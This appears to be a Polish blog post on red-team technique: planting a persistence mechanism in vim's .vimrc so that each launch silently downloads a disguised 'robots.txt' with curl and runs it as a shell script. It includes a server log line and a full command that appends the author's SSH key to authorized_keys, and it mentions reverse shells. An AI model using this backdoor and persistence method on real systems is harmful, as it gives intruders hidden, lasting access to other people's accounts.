Z
amieniliśmy już edytor vim w rejestrator naciskanych klawiszy, teraz umieścimy w nim mechanizm persystencji. Plik konfiguracyjny .vimrc zawiera konfigurację dla tego edytora, a dzięki wtyczkom, modułom sprawdzania i kolorowania składni oferuje nieograniczone możliwości dostosowywania do użytkownika. Istnieją również sposoby wykonywania poleceń powłoki i dowolnych skryptów. Biorąc pod uwagę, iż przy każdym uruchomieniu programu vim ładowany jest plik .vimrc, okazuje się, iż jest to świetny sposób na regularne wykonywanie zadań, takich jak sprawdzanie, czy jest dodany odpowiedni klucz SSH do systemu. Staje się to jeszcze bardziej interesujące podczas, gdy edytor uruchamia administrator.
Poniżej znajduje się plik .vimrc, który może zostać użyty jako przykład:
Słowo najważniejsze let służy do definiowania zmiennych w Vimscript i jak można się spodziewać: exe wykonuje podany ciąg, a silent wykonuje polecenie, ignorując wszystkie błędy, które mogą wystąpić. Polecenie curl określa również aplikację kliencką „Tiny Tiny RSS” (która może wtopić się w tłum żądań HTTP) i parametr -s (--silent), aby wyłączyć zbędne informacje na standardowym wyjściu. Żądanym elementem jest dokument tekstowy robots.txt (który również może wtopić się w tłum żądań HTTP), a w rzeczywistości skrypt bash z gotowymi poleceniami do przekazania do powłoki:
1.2.3.4 - - [04/11/2023:21:43:21] "GET /robots.txt HTTP/2.0" 200 1578 "-" "Tiny Tiny RSS"Za każdym razem kiedy przez danego użytkownika, zostanie uruchomiony edytor vim, mechanizm pobierze i wykona zawartość pliku robots.txt. Tutaj możemy również wyczulić serwer httpd, który będzie hostował skrypt, aby reagował tylko na konkretny user agent, w przeciwnym razie serwował fałszywą wydmuszkę. Zawartość pliku robots.txt zależy od naszej fantazji. Może to być skrypt dodający nasz klucz do SSH:
grep -q "redteamer-key" ~/.ssh/authorized_keys 2>/dev/null; if [ $? -ne 0 ]; then echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC36JqoZKY..." >> ~/.ssh/authorized_keys; fiTworzący reverse shell itp…
Więcej informacji: Vimrc As A Persistence Mechanism